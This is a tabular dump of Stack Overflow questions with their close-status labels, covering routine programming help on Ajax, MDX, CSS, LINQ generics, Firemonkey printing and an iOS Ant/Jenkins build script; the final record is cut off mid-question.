PostId
int64
13
11.8M
PostCreationDate
stringlengths
19
19
OwnerUserId
int64
3
1.57M
OwnerCreationDate
stringlengths
10
19
ReputationAtPostCreation
int64
-33
210k
OwnerUndeletedAnswerCountAtPostTime
int64
0
5.77k
Title
stringlengths
10
250
BodyMarkdown
stringlengths
12
30k
Tag1
stringlengths
1
25
Tag2
stringlengths
1
25
Tag3
stringlengths
1
25
Tag4
stringlengths
1
25
Tag5
stringlengths
1
25
PostClosedDate
stringlengths
19
19
OpenStatus
stringclasses
5 values
unified_texts
stringlengths
47
30.1k
OpenStatus_id
int64
0
4
9,376,452
02/21/2012 11:06:02
1,216,743
02/17/2012 16:42:01
1
0
Ajax symfony 2, multiple execution of request
I have a problem with ajax requests. When I launch my request, I analyzed with firebug that the application is executed several times, how can I ensure that it executes only once?
ajax
symfony-2.0
request
once
null
06/27/2012 20:30:05
not a real question
Ajax symfony 2, multiple execution of request === I have a problem with ajax requests. When I launch my request, I analyzed with firebug that the application is executed several times, how can I ensure that it executes only once?
1
11,230,110
06/27/2012 15:42:37
1,486,179
06/27/2012 15:38:29
1
0
MDX: How can I get MIN and MAX values for dimension members in a set that uses NON EMPTY
I have a problem where I need to get the high and low values for a set from the dimension members (not the measures) for a specific intersection (one customer and time period). We need to reference these for report parameters downstream. I can only find examples for pulling the min and max measures. I need the actualy dimension values. Any ideas? Thanks, Greg
mdx
null
null
null
null
null
open
MDX: How can I get MIN and MAX values for dimension members in a set that uses NON EMPTY === I have a problem where I need to get the high and low values for a set from the dimension members (not the measures) for a specific intersection (one customer and time period). We need to reference these for report parameters downstream. I can only find examples for pulling the min and max measures. I need the actualy dimension values. Any ideas? Thanks, Greg
0
2,945,205
05/31/2010 17:57:01
79,708
03/18/2009 20:16:19
1,568
79
Technologies used in EMBL
My fried suggest I try to apply for a job at EMBL. I'm not bioinformatic in any way, but my friend (who by the way is a biologist working at EMBL) insists that I could adapt to the new environment as long as I have a interest in subject and am generally good at learning new things. But here is a catch. For the last 4 years I've been working with .Net and other Microsoft technologies which I enjoy even more lately. Now, from googling I couldn't find whether it will be possible for me to stick with .Net because it was all perl, java, linux and so on. Is there anybody who could prove whether there is at least minor opportunity for a .Net developer to at least partly develop with C#?
bioinformatics
null
null
null
null
02/01/2012 20:25:01
not constructive
Technologies used in EMBL === My fried suggest I try to apply for a job at EMBL. I'm not bioinformatic in any way, but my friend (who by the way is a biologist working at EMBL) insists that I could adapt to the new environment as long as I have a interest in subject and am generally good at learning new things. But here is a catch. For the last 4 years I've been working with .Net and other Microsoft technologies which I enjoy even more lately. Now, from googling I couldn't find whether it will be possible for me to stick with .Net because it was all perl, java, linux and so on. Is there anybody who could prove whether there is at least minor opportunity for a .Net developer to at least partly develop with C#?
4
7,760,909
10/13/2011 21:56:51
808,091
06/21/2011 08:55:02
202
5
Buying an Android abroad for development
I want to buy a cheap Android for development. Cheapest ones I have found are in USA eBay, and I am from Spain. I already read some info in this post: [http://stackoverflow.com/questions/7504679/buying-android-device-for-development][1]. But I have read about american ESN (Electronic Serial Number) and now I'm not sure if it will work fine for me. Have anyone from Europe tried buying an Android for development? Some people comment you may need a sim card. Does it depend on the phone model, or is not true at all? [1]: http://stackoverflow.com/questions/7504679/buying-android-device-for-development
android
ebay
null
null
null
10/16/2011 08:50:22
off topic
Buying an Android abroad for development === I want to buy a cheap Android for development. Cheapest ones I have found are in USA eBay, and I am from Spain. I already read some info in this post: [http://stackoverflow.com/questions/7504679/buying-android-device-for-development][1]. But I have read about american ESN (Electronic Serial Number) and now I'm not sure if it will work fine for me. Have anyone from Europe tried buying an Android for development? Some people comment you may need a sim card. Does it depend on the phone model, or is not true at all? [1]: http://stackoverflow.com/questions/7504679/buying-android-device-for-development
2
4,793,824
01/25/2011 13:01:52
569,654
01/10/2011 10:16:58
71
2
Export Visual Studios 08 project to PDA
I have got a visual studios 2008 application which is deisnged for a PDA. How do i export the project to run on the PDA. The PDA is running windows mobile 6.
c++
visual-studio-2008
windows-mobile
null
null
null
open
Export Visual Studios 08 project to PDA === I have got a visual studios 2008 application which is deisnged for a PDA. How do i export the project to run on the PDA. The PDA is running windows mobile 6.
0
10,713,440
05/23/2012 04:28:49
455,848
09/23/2010 06:26:05
120
1
position the pop up
Am having several boxes(more than 100) that will create dynamically with the screen in different positions.Now on clicking each box i want a slide in pop up with the details. I want the position as it should slide in near to each boxes.I have did that,but If some poxes is near to the window end on the right the half pop up gets hided in the window,But i want those pop up should display fully before the window(as like in excel). my javascript code for postioning; function centerPopup(comp_id, top, left) { $("#popupContact").css({ "position": "absolute", "top": top + 70, "left": left + 223 }); }
javascript
css
null
null
null
null
open
position the pop up === Am having several boxes(more than 100) that will create dynamically with the screen in different positions.Now on clicking each box i want a slide in pop up with the details. I want the position as it should slide in near to each boxes.I have did that,but If some poxes is near to the window end on the right the half pop up gets hided in the window,But i want those pop up should display fully before the window(as like in excel). my javascript code for postioning; function centerPopup(comp_id, top, left) { $("#popupContact").css({ "position": "absolute", "top": top + 70, "left": left + 223 }); }
0
759,689
04/17/2009 09:14:29
39,709
11/21/2008 16:22:36
2,509
110
Would you ever want an action method to not return an ActionResult?
In ASP.NET MVC the [convention][1] is that a controller action method should return an `ActionResult` (or a type derived from `ActionResult`). However, you can write a public method that returns pretty much anything and if that method is called (from a browser) the framework will package the return value up as a `ContentResult` and the browser receives a page of plain text. This is all very interesting - but would you ever want to do this? [1]: http://www.asp.net/learn/mvc/tutorial-03-cs.aspx
asp.net-mvc
null
null
null
null
null
open
Would you ever want an action method to not return an ActionResult? === In ASP.NET MVC the [convention][1] is that a controller action method should return an `ActionResult` (or a type derived from `ActionResult`). However, you can write a public method that returns pretty much anything and if that method is called (from a browser) the framework will package the return value up as a `ContentResult` and the browser receives a page of plain text. This is all very interesting - but would you ever want to do this? [1]: http://www.asp.net/learn/mvc/tutorial-03-cs.aspx
0
10,991,427
06/12/2012 06:19:27
484,866
10/23/2010 05:17:30
316
22
Reference for learning web socket
I want to write a web socket client in javascript and web socket serve in ruby. Where shall I start? are there any existing libraries to reduces my work? I'm lost and confused googling. Please provide any links where to start, given that has knowledge on ruby, javascript, basic networking in ruby. Regards
javascript
jquery
ruby
sockets
websocket
06/12/2012 09:50:35
not a real question
Reference for learning web socket === I want to write a web socket client in javascript and web socket serve in ruby. Where shall I start? are there any existing libraries to reduces my work? I'm lost and confused googling. Please provide any links where to start, given that has knowledge on ruby, javascript, basic networking in ruby. Regards
1
7,927,499
10/28/2011 09:33:41
966,652
09/27/2011 08:59:40
64
4
Can you add some CSS to a dropdown that isn't selected?
Say I wanted to change the text color to red for a dropdown that hasn't been chosen/clicked/interacted with. What would be the best approach?
jquery
null
null
null
null
null
open
Can you add some CSS to a dropdown that isn't selected? === Say I wanted to change the text color to red for a dropdown that hasn't been chosen/clicked/interacted with. What would be the best approach?
0
2,445,866
03/15/2010 08:40:29
164,683
08/28/2009 06:36:27
266
31
text is exceeding the listview bounds in Qt
I need to customize the listview,I am placing an icon and a text at the center of the listview. If the text length is bigger then the list rectangle length.. the text is coming over the icon first letter of the string is not visible.. How to avoid this situation? Is it possible to give marique effect for the string? Thanks in advance.
qt
qt4
listview
symbian
nokia
null
open
text is exceeding the listview bounds in Qt === I need to customize the listview,I am placing an icon and a text at the center of the listview. If the text length is bigger then the list rectangle length.. the text is coming over the icon first letter of the string is not visible.. How to avoid this situation? Is it possible to give marique effect for the string? Thanks in advance.
0
11,428,511
07/11/2012 08:27:09
1,517,105
07/11/2012 08:16:52
1
0
Firemonkey HD printing not working - out of range error
Firemonkey printing issue. XE2 update 4. FM form for Win32/64/OSX Printing with the following code as suggested in the Embarcadero wiki http://docwiki.embarcadero.com/RADStudio/en/Printing_from_a_FireMonkey_Application FMX.Printer in the uses clause. Using the code below straight from the wiki, but keep getting an out of bounds error. Not sure which array is out of bounds. Found the following bug record, http://qc.embarcadero.com/wc/qcmain.aspx?d=101322 but line 486 in my copy of FMX.Printer.win does not have the code it suggests to be altered. Also not sure how I would recompile the printer units either. Workarounds FMX.Printer.Win, line 486 currently reads: for I := 0 to Count - 1 do It should be replaced with: for I := 0 to FPrinters.Count - 1 do Bit of a dead end. Is anyone else printing successfully in firemonkey. A printer is connected and working for other applications. The code from Embarcadero wiki... procedure TMyForm.PrintButtonClick(Sender: TObject); var SrcRect, DestRect: TRectF; begin { Set the default DPI for the printer. The SelectDPI routine defaults to the closest available resolution as reported by the driver. } Printer.ActivePrinter.SelectDPI(1200, 1200); { Set canvas filling style. } Printer.Canvas.Fill.Color := claBlack; Printer.Canvas.Fill.Kind := TBrushKind.bkSolid; { Start printing. } Printer.BeginDoc; { Set the Source and Destination TRects. } SrcRect:= Image1.LocalRect; DestRect:= TRectF.Create(0, 0, Printer.PageWidth, Printer.PageHeight); { Print the picture on all the surface of the page and all opaque. } Printer.Canvas.DrawBitmap(Image1.Bitmap, SrcRect, DestRect, 1); { Finish printing job. } Printer.EndDoc; end;
printing
compiler-errors
firemonkey
null
null
null
open
Firemonkey HD printing not working - out of range error === Firemonkey printing issue. XE2 update 4. FM form for Win32/64/OSX Printing with the following code as suggested in the Embarcadero wiki http://docwiki.embarcadero.com/RADStudio/en/Printing_from_a_FireMonkey_Application FMX.Printer in the uses clause. Using the code below straight from the wiki, but keep getting an out of bounds error. Not sure which array is out of bounds. Found the following bug record, http://qc.embarcadero.com/wc/qcmain.aspx?d=101322 but line 486 in my copy of FMX.Printer.win does not have the code it suggests to be altered. Also not sure how I would recompile the printer units either. Workarounds FMX.Printer.Win, line 486 currently reads: for I := 0 to Count - 1 do It should be replaced with: for I := 0 to FPrinters.Count - 1 do Bit of a dead end. Is anyone else printing successfully in firemonkey. A printer is connected and working for other applications. The code from Embarcadero wiki... procedure TMyForm.PrintButtonClick(Sender: TObject); var SrcRect, DestRect: TRectF; begin { Set the default DPI for the printer. The SelectDPI routine defaults to the closest available resolution as reported by the driver. } Printer.ActivePrinter.SelectDPI(1200, 1200); { Set canvas filling style. } Printer.Canvas.Fill.Color := claBlack; Printer.Canvas.Fill.Kind := TBrushKind.bkSolid; { Start printing. } Printer.BeginDoc; { Set the Source and Destination TRects. } SrcRect:= Image1.LocalRect; DestRect:= TRectF.Create(0, 0, Printer.PageWidth, Printer.PageHeight); { Print the picture on all the surface of the page and all opaque. } Printer.Canvas.DrawBitmap(Image1.Bitmap, SrcRect, DestRect, 1); { Finish printing job. } Printer.EndDoc; end;
0
10,946,472
06/08/2012 09:42:39
149,237
08/02/2009 09:05:22
1,955
77
CSS: where does this margin come from?
Here's my problem: http://jsfiddle.net/gregseth/548S2/ Why is there a white space between the elements? And how can I get rid of it? In addition why are the dimensions of the `<img>` not taken into account on jsfiddle, when it is on a 'normal' HTML page (Firefox)?
html
css
null
null
null
null
open
CSS: where does this margin come from? === Here's my problem: http://jsfiddle.net/gregseth/548S2/ Why is there a white space between the elements? And how can I get rid of it? In addition why are the dimensions of the `<img>` not taken into account on jsfiddle, when it is on a 'normal' HTML page (Firefox)?
0
7,443,660
09/16/2011 10:56:45
60,188
01/29/2009 13:01:41
37,203
1,341
Modern way of writing native Win32 applications
Title pretty much explains the question, but nevertheless I'll expand on it. What are the current state-of-the-art approaches? Plain C or C++? C with some libraries I don't even know of or C++ with MFC/WTL/OWL?
winapi
native
null
null
null
09/18/2011 06:59:22
not constructive
Modern way of writing native Win32 applications === Title pretty much explains the question, but nevertheless I'll expand on it. What are the current state-of-the-art approaches? Plain C or C++? C with some libraries I don't even know of or C++ with MFC/WTL/OWL?
4
3,639,782
09/03/2010 21:48:32
437,981
09/02/2010 12:55:52
18
0
Outsourcing unit development
As a freelancer, if you are working on a project, and if you outsource the development of a unit or a small component - would it be ethical to do this given that the client is not aware that some development is being developed by a third party?
unit-testing
outsourcing
null
null
null
09/23/2011 03:24:51
off topic
Outsourcing unit development === As a freelancer, if you are working on a project, and if you outsource the development of a unit or a small component - would it be ethical to do this given that the client is not aware that some development is being developed by a third party?
2
11,231,063
06/27/2012 16:36:38
1,238,753
02/28/2012 20:10:05
138
9
Linq to entities and generics - unable to cast
I have two interfaces for users: public interface IUserModel { int UserId {get;set;} } public interface IUserAuthModel : IUserModel { string Username {get;set;} string Password {get;set;} } I have user model that implements IUserAuthModel because it requires authorization check for access: public class UserSubscriptionModel : IUserAuthModel { public int UserId {get;set;} public string Username {get;set;} public string Password {get;set;} public bool Subscribed {get;set;} } I have user repository based on EF 4.3.1 where I have method for projection: IQueryable<T> ProjectTo<T>() where T: IUserModel { if(typeof(T) == typeof(UserLoginModel) { return db.Users.Select(x => new UserSubscriptionModel { UserId = x.UserId, Username = x.Username, Password = x.Password, Subscribed = x.Subscribed }) as IQueryable<T>; } I have method that retrieves one user based on conditional expression: T Get<T>(conditionalexpression) where T : IUserModel { return ProjectTo<T>.Where(conditionalexpression).FirstOrDefault(); } I'm implementing authorization method: public bool Authorize<T>(string username, string password, out T TUser) where T : IUserAuthModel { TUser = Get<T>(x => x.Username == username && x.Password == password); ... some other irrelevant code } And then I do the following: UserSubscriptionModel model; bool authorized = Authorize<UserSubscriptionModel>("hello","world", out model); This code fails on part where it tries to extract FirstOrDefault. It says Linq to Entities supports casting primitive types.... can't cast from UserSubscriptionModel to IUserAuthModel - or other way around, can't remember. But point is, my generics are not working, even though IUserAuthModel inherits from IUserModel so if my class implements IUserAuthModel it implements IUserModel as well. What am I missing? I'm not getting a single error/warning and I've made sure my inheritance is done properly (or at least I think so). I'm sorry if code has some typos, I left real code at work. Thanks for all the tips.
entity-framework
generics
interface
linq-to-entities
null
null
open
Linq to entities and generics - unable to cast === I have two interfaces for users: public interface IUserModel { int UserId {get;set;} } public interface IUserAuthModel : IUserModel { string Username {get;set;} string Password {get;set;} } I have user model that implements IUserAuthModel because it requires authorization check for access: public class UserSubscriptionModel : IUserAuthModel { public int UserId {get;set;} public string Username {get;set;} public string Password {get;set;} public bool Subscribed {get;set;} } I have user repository based on EF 4.3.1 where I have method for projection: IQueryable<T> ProjectTo<T>() where T: IUserModel { if(typeof(T) == typeof(UserLoginModel) { return db.Users.Select(x => new UserSubscriptionModel { UserId = x.UserId, Username = x.Username, Password = x.Password, Subscribed = x.Subscribed }) as IQueryable<T>; } I have method that retrieves one user based on conditional expression: T Get<T>(conditionalexpression) where T : IUserModel { return ProjectTo<T>.Where(conditionalexpression).FirstOrDefault(); } I'm implementing authorization method: public bool Authorize<T>(string username, string password, out T TUser) where T : IUserAuthModel { TUser = Get<T>(x => x.Username == username && x.Password == password); ... some other irrelevant code } And then I do the following: UserSubscriptionModel model; bool authorized = Authorize<UserSubscriptionModel>("hello","world", out model); This code fails on part where it tries to extract FirstOrDefault. It says Linq to Entities supports casting primitive types.... can't cast from UserSubscriptionModel to IUserAuthModel - or other way around, can't remember. But point is, my generics are not working, even though IUserAuthModel inherits from IUserModel so if my class implements IUserAuthModel it implements IUserModel as well. What am I missing? I'm not getting a single error/warning and I've made sure my inheritance is done properly (or at least I think so). I'm sorry if code has some typos, I left real code at work. Thanks for all the tips.
0
11,506,148
07/16/2012 14:11:31
1,528,983
07/16/2012 13:06:04
1
0
[ios][ant][xcode][jenkins] Unique Xcode BUILD_PATH environment variable in build.xml not usable
I have a problem with our ant script / Jenkins since using CocoaPods (which I think is not the real cause for the problem, it's more a class of problems), which turned the Xcode project in a Xcode workspace. We use Jenkins for the OTA (over the air) distribution. Therein is a job, which executes an ant script. The build.xml is: <project name="iOS Compile" default="simulatorbuild" basedir="."> <!-- properties --> <property file="default.properties" /> <property environment="env" /> <property name="sdk.simulator" value="iphonesimulator${sdk.version}" /> <property name="sdk.device" value="iphoneos${sdk.version}" /> <property name="build.dir" location="build"/> <!-- clean --> <target name="clean"> <exec executable="xcodebuild" failonerror="true"> <arg line="clean" /> </exec> <delete dir="${build.dir}" /> <mkdir dir="build"/> </target> <!-- simulator build --> <target name="simulatorbuild" depends="clean"> <exec executable="xcodebuild" failonerror="true"> <arg line="-sdk ${sdk.simulator}" /> <arg line="-configuration ${config.simulator}" /> <!--<arg line="-target ${target.app}" />--> <arg line="-workspace ${app.title}.xcworkspace" /> <arg line="-scheme ${app.title}" /> </exec> </target> <!-- simulator build for code coverage --> <target name="-cc_simulatorbuild"> <exec executable="xcodebuild" failonerror="true"> <arg line="-sdk ${sdk.simulator}" /> <arg line="-configuration ${config.simulator}" /> <!--<arg line="-target ${target.app}" />--> <arg line="-workspace ${app.title}.xcworkspace" /> <arg line="-scheme ${app.title}" /> <!-- Changing some project settings to activate code coverage. --> <!--<arg line="OTHER_CFLAGS=- -coverage" /> --> <arg line="GCC_INSTRUMENT_PROGRAM_FLOW_ARCS=YES" /> <arg line="GCC_GENERATE_TEST_COVERAGE_FILES=YES" /> <!--<arg line="GCC_PRECOMPILE_PREFIX_HEADER=NO" />--> </exec> </target> <!-- device build --> <target name="devicebuild"> <exec executable="xcodebuild" failonerror="true"> <arg line="-sdk ${sdk.device}" /> <arg line="-configuration ${config.device}" /> <!--<arg line="-target ${target.app}" />--> <arg line="-workspace ${app.title}.xcworkspace" /> <arg line="-scheme ${app.title}" /> </exec> </target> <!-- unit tests --> <target name="unittest" depends="simulatorbuild"> <exec executable="xcodebuild" output="${build.dir}/tmp" errorproperty="error.unittest"> <arg line="-sdk ${sdk.simulator}" /> <arg line="-configuration Debug" /> <arg line="-target ${target.unittests}" /> </exec> <exec executable="ruby"> <arg line="ocunit2junit.rb" /> <arg file="${build.dir}/tmp" /> </exec> <delete file="${build.dir}/tmp" /> </target> <!-- code coverage --> <target name="codecoverage" depends="-cc_simulatorbuild"> <exec executable="xcodebuild" output="${build.dir}/tmp" errorproperty="error.unittest"> <arg line="-sdk ${sdk.simulator}" /> <arg line="-configuration Debug" /> <arg line="-target ${target.unittests}" /> <!-- Changing some project settings to activate code coverage. --> <!--<arg line="OTHER_CFLAGS=- -coverage" /> --> <arg line="GCC_INSTRUMENT_PROGRAM_FLOW_ARCS=YES" /> <arg line="GCC_GENERATE_TEST_COVERAGE_FILES=YES" /> </exec> <exec executable="ruby"> <arg line="ocunit2junit.rb" /> <arg file="${build.dir}/tmp" /> </exec> <delete file="${build.dir}/tmp" /> <mkdir dir="${build.dir}/code-coverage"/> <exec executable="python"> <arg line="gcovr" /> <arg line="-x" /> <!-- set XML-Output--> <arg line="-v" /> <!-- set more output details --> <arg line="-r '${basedir}'" /> <!-- set the root dir --> <arg line="-o '${build.dir}/code-coverage/coverage.xml'" /> </exec> </target> <!-- Distribute Target --> <target name="distribute" depends="devicebuild"> <echo message="Set up Over-The-Air-Distribution"/> <property name="fileprefix" value="${env.JOB_NAME}-${env.BUILD_NUMBER}-${config.device}"/> <property name="app.path" value="${build.dir}/${config.device}-iphoneos/${target.app}.app"/> <property name="dSYM.path" value="${build.dir}/${config.device}-iphoneos/${target.app}.app.dSYM"/> <property name="output.dir" location="${basedir}/output"/> <delete dir="${output.dir}" /> <mkdir dir="${output.dir}/${fileprefix}" /> <exec executable="perl"> <arg line="parsePlist.pl" /> <arg line="${target.app}" /> </exec> <property file="${target.app}-Infoplist.properties" /> <!-- generate ipa file --> <exec executable="xcrun" failonerror="true"> <arg line="-verbose" /> <arg line="-sdk ${sdk.device}" /> <arg line="PackageApplication" /> <arg line="-v '${app.path}'" /> <arg line="-o '${output.dir}/${fileprefix}/${app.title}.ipa'" /> <arg line="--sign '${codesign}'" /> <arg line="--embed '${basedir}/${provisioningprofile}'" /> </exec> <!-- manage app icons --> <copy file="${basedir}/${icon.small}" tofile="${output.dir}/${fileprefix}/Icon-57.png"/> <copy file="${basedir}/${icon.large}" tofile="${output.dir}/${fileprefix}/Icon-512.png"/> <!--copy file="${dSYM.path}" tofile="${output.dir}/${fileprefix}/${target.app}.app.dSYM"/--> <!-- generate app manifest --> <echoxml file="${output.dir}/${fileprefix}/app-manifest.plist"> <!--<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">--> <plist version="1.0"> <dict> <key>items</key> <array> <dict> <key>assets</key> <array> <dict> <key>kind</key> <string>software-package</string> <key>url</key> <string>${OTAURL}/output/${fileprefix}/${app.title}.ipa</string> </dict> <dict> <key>kind</key> <string>full-size-image</string> <key>needs-shine</key> <true/> <key>url</key> <string>${OTAURL}/output/${fileprefix}/Icon-512.png</string> </dict> <dict> <key>kind</key> <string>display-image</string> <key>needs-shine</key> <true/> <key>url</key> <string>${OTAURL}/output/${fileprefix}/Icon-57.png</string> </dict> </array> <key>metadata</key> <dict> <key>bundle-identifier</key> <string>${CFBundleIdentifier}</string> <key>bundle-version</key> <string>${CFBundleShortVersionString} #${env.BUILD_NUMBER}</string> <key>kind</key> <string>software</string> <key>title</key> <string>${app.title}</string> <key>subtitle</key> <string>${app.subtitle}</string> </dict> </dict> </array> </dict> </plist> </echoxml> </target> </project> There is also a default.properties file: # default properties sdk.version = 5.1 app.title = <APP_NAME> app.subtitle = <APP_NAME> config.simulator = Debug config.device = Release target.app = <APP_NAME> target.unittests = <APP_NAME>Test provisioningprofile = <APP_NAME>AdHoc.mobileprovision codesign = iPhone Distribution: <COMPANY_NAME> icon.small = Icon.png icon.large = [email protected] OTAURL = http://<COMPANY_NAME>.com/OTA/<APP_NAME> When I run ant distribute on my local machine (not even on the CI server), the following error occurs: [exec] error: Specified application doesn't exist or isn't a bundle directory : '/Users/<MY_USERNAME>/Documents/<COMPANY_NAME>/projects/<APP_NAME>/build/Release-iphoneos/<APP_NAME>.app' I did a lot of researching the last days. But now, I don't, what else to do ... What I got so far: 1. Since Xcode 4, the build path is no longer your project directory, but instead a unique folder in the user library. The settings for this can be found under "Derived Data". "Legacy" is the project folder and "unique" (the new default setting) is the user library. 2. The dependency of "distribute" is "devicebuild". That target uses the unique folder and correctly creates it under /Users/<MY_USERNAME>/Library/Developer/Xcode/DerivedData 3. On the other side (in the target "distribute") the only line I need to change is < arg line="-v '${app.path}'" /> which points to the local / project directory. Instead of the app.path I need to set the unique folder (user library). 4. In [http://stackoverflow.com/questions/6910901/canonical-list-of-xcode-environment-variables][1] I found a list of Xcode environment variables. The BUILD_DIR variable is close to what I need. It's a bit deeper in the folder hierarchy, but ok. 5. I thought, perhaps is [http://stackoverflow.com/questions/8536728/xcrun-packageapplication-failed-unable-to-copy-application][2] a similar problems. But it's not really the same. Even though BUILD_DIR is not absolutely correct, I tried to use that one. But I did not succeed in that. How do I call that Xcode env variable in my ant script? Is that even possible? I tried: < arg line="-v '${BUILD_DIR}'" /> < arg line="-v '$BUILD_DIR'" /> < arg line="-v 'BUILD_DIR'" /> Please, tell me which stupid mistake I did without knowing it. :-) Really big thanks in advance! And if you need more information (even thought I don't think, there is much left I did not tell you), just ask. Greetings and have a nice day, Dominic [1]: http://stackoverflow.com/questions/6910901/canonical-list-of-xcode-environment-variables [2]: http://stackoverflow.com/questions/8536728/xcrun-packageapplication-failed-unable-to-copy-application
ios
xcode
ant
build
jenkins
null
open
[ios][ant][xcode][jenkins] Unique Xcode BUILD_PATH environment variable in build.xml not usable === I have a problem with our ant script / Jenkins since using CocoaPods (which I think is not the real cause for the problem, it's more a class of problems), which turned the Xcode project in a Xcode workspace. We use Jenkins for the OTA (over the air) distribution. Therein is a job, which executes an ant script. The build.xml is: <project name="iOS Compile" default="simulatorbuild" basedir="."> <!-- properties --> <property file="default.properties" /> <property environment="env" /> <property name="sdk.simulator" value="iphonesimulator${sdk.version}" /> <property name="sdk.device" value="iphoneos${sdk.version}" /> <property name="build.dir" location="build"/> <!-- clean --> <target name="clean"> <exec executable="xcodebuild" failonerror="true"> <arg line="clean" /> </exec> <delete dir="${build.dir}" /> <mkdir dir="build"/> </target> <!-- simulator build --> <target name="simulatorbuild" depends="clean"> <exec executable="xcodebuild" failonerror="true"> <arg line="-sdk ${sdk.simulator}" /> <arg line="-configuration ${config.simulator}" /> <!--<arg line="-target ${target.app}" />--> <arg line="-workspace ${app.title}.xcworkspace" /> <arg line="-scheme ${app.title}" /> </exec> </target> <!-- simulator build for code coverage --> <target name="-cc_simulatorbuild"> <exec executable="xcodebuild" failonerror="true"> <arg line="-sdk ${sdk.simulator}" /> <arg line="-configuration ${config.simulator}" /> <!--<arg line="-target ${target.app}" />--> <arg line="-workspace ${app.title}.xcworkspace" /> <arg line="-scheme ${app.title}" /> <!-- Changing some project settings to activate code coverage. --> <!--<arg line="OTHER_CFLAGS=- -coverage" /> --> <arg line="GCC_INSTRUMENT_PROGRAM_FLOW_ARCS=YES" /> <arg line="GCC_GENERATE_TEST_COVERAGE_FILES=YES" /> <!--<arg line="GCC_PRECOMPILE_PREFIX_HEADER=NO" />--> </exec> </target> <!-- device build --> <target name="devicebuild"> <exec executable="xcodebuild" failonerror="true"> <arg line="-sdk ${sdk.device}" /> <arg line="-configuration ${config.device}" /> <!--<arg line="-target ${target.app}" />--> <arg line="-workspace ${app.title}.xcworkspace" /> <arg line="-scheme ${app.title}" /> </exec> </target> <!-- unit tests --> <target name="unittest" depends="simulatorbuild"> <exec executable="xcodebuild" output="${build.dir}/tmp" errorproperty="error.unittest"> <arg line="-sdk ${sdk.simulator}" /> <arg line="-configuration Debug" /> <arg line="-target ${target.unittests}" /> </exec> <exec executable="ruby"> <arg line="ocunit2junit.rb" /> <arg file="${build.dir}/tmp" /> </exec> <delete file="${build.dir}/tmp" /> </target> <!-- code coverage --> <target name="codecoverage" depends="-cc_simulatorbuild"> <exec executable="xcodebuild" output="${build.dir}/tmp" errorproperty="error.unittest"> <arg line="-sdk ${sdk.simulator}" /> <arg line="-configuration Debug" /> <arg line="-target ${target.unittests}" /> <!-- Changing some project settings to activate code coverage. --> <!--<arg line="OTHER_CFLAGS=- -coverage" /> --> <arg line="GCC_INSTRUMENT_PROGRAM_FLOW_ARCS=YES" /> <arg line="GCC_GENERATE_TEST_COVERAGE_FILES=YES" /> </exec> <exec executable="ruby"> <arg line="ocunit2junit.rb" /> <arg file="${build.dir}/tmp" /> </exec> <delete file="${build.dir}/tmp" /> <mkdir dir="${build.dir}/code-coverage"/> <exec executable="python"> <arg line="gcovr" /> <arg line="-x" /> <!-- set XML-Output--> <arg line="-v" /> <!-- set more output details --> <arg line="-r '${basedir}'" /> <!-- set the root dir --> <arg line="-o '${build.dir}/code-coverage/coverage.xml'" /> </exec> </target> <!-- Distribute Target --> <target name="distribute" depends="devicebuild"> <echo message="Set up Over-The-Air-Distribution"/> <property name="fileprefix" value="${env.JOB_NAME}-${env.BUILD_NUMBER}-${config.device}"/> <property name="app.path" value="${build.dir}/${config.device}-iphoneos/${target.app}.app"/> <property name="dSYM.path" value="${build.dir}/${config.device}-iphoneos/${target.app}.app.dSYM"/> <property name="output.dir" location="${basedir}/output"/> <delete dir="${output.dir}" /> <mkdir dir="${output.dir}/${fileprefix}" /> <exec executable="perl"> <arg line="parsePlist.pl" /> <arg line="${target.app}" /> </exec> <property file="${target.app}-Infoplist.properties" /> <!-- generate ipa file --> <exec executable="xcrun" failonerror="true"> <arg line="-verbose" /> <arg line="-sdk ${sdk.device}" /> <arg line="PackageApplication" /> <arg line="-v '${app.path}'" /> <arg line="-o '${output.dir}/${fileprefix}/${app.title}.ipa'" /> <arg line="--sign '${codesign}'" /> <arg line="--embed '${basedir}/${provisioningprofile}'" /> </exec> <!-- manage app icons --> <copy file="${basedir}/${icon.small}" tofile="${output.dir}/${fileprefix}/Icon-57.png"/> <copy file="${basedir}/${icon.large}" tofile="${output.dir}/${fileprefix}/Icon-512.png"/> <!--copy file="${dSYM.path}" tofile="${output.dir}/${fileprefix}/${target.app}.app.dSYM"/--> <!-- generate app manifest --> <echoxml file="${output.dir}/${fileprefix}/app-manifest.plist"> <!--<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">--> <plist version="1.0"> <dict> <key>items</key> <array> <dict> <key>assets</key> <array> <dict> <key>kind</key> <string>software-package</string> <key>url</key> <string>${OTAURL}/output/${fileprefix}/${app.title}.ipa</string> </dict> <dict> <key>kind</key> <string>full-size-image</string> <key>needs-shine</key> <true/> <key>url</key> <string>${OTAURL}/output/${fileprefix}/Icon-512.png</string> </dict> <dict> <key>kind</key> <string>display-image</string> <key>needs-shine</key> <true/> <key>url</key> <string>${OTAURL}/output/${fileprefix}/Icon-57.png</string> </dict> </array> <key>metadata</key> <dict> <key>bundle-identifier</key> <string>${CFBundleIdentifier}</string> <key>bundle-version</key> <string>${CFBundleShortVersionString} #${env.BUILD_NUMBER}</string> <key>kind</key> <string>software</string> <key>title</key> <string>${app.title}</string> <key>subtitle</key> <string>${app.subtitle}</string> </dict> </dict> </array> </dict> </plist> </echoxml> </target> </project> There is also a default.properties file: # default properties sdk.version = 5.1 app.title = <APP_NAME> app.subtitle = <APP_NAME> config.simulator = Debug config.device = Release target.app = <APP_NAME> target.unittests = <APP_NAME>Test provisioningprofile = <APP_NAME>AdHoc.mobileprovision codesign = iPhone Distribution: <COMPANY_NAME> icon.small = Icon.png icon.large = [email protected] OTAURL = http://<COMPANY_NAME>.com/OTA/<APP_NAME> When I run ant distribute on my local machine (not even on the CI server), the following error occurs: [exec] error: Specified application doesn't exist or isn't a bundle directory : '/Users/<MY_USERNAME>/Documents/<COMPANY_NAME>/projects/<APP_NAME>/build/Release-iphoneos/<APP_NAME>.app' I did a lot of researching the last days. But now, I don't, what else to do ... What I got so far: 1. Since Xcode 4, the build path is no longer your project directory, but instead a unique folder in the user library. The settings for this can be found under "Derived Data". "Legacy" is the project folder and "unique" (the new default setting) is the user library. 2. The dependency of "distribute" is "devicebuild". That target uses the unique folder and correctly creates it under /Users/<MY_USERNAME>/Library/Developer/Xcode/DerivedData 3. On the other side (in the target "distribute") the only line I need to change is < arg line="-v '${app.path}'" 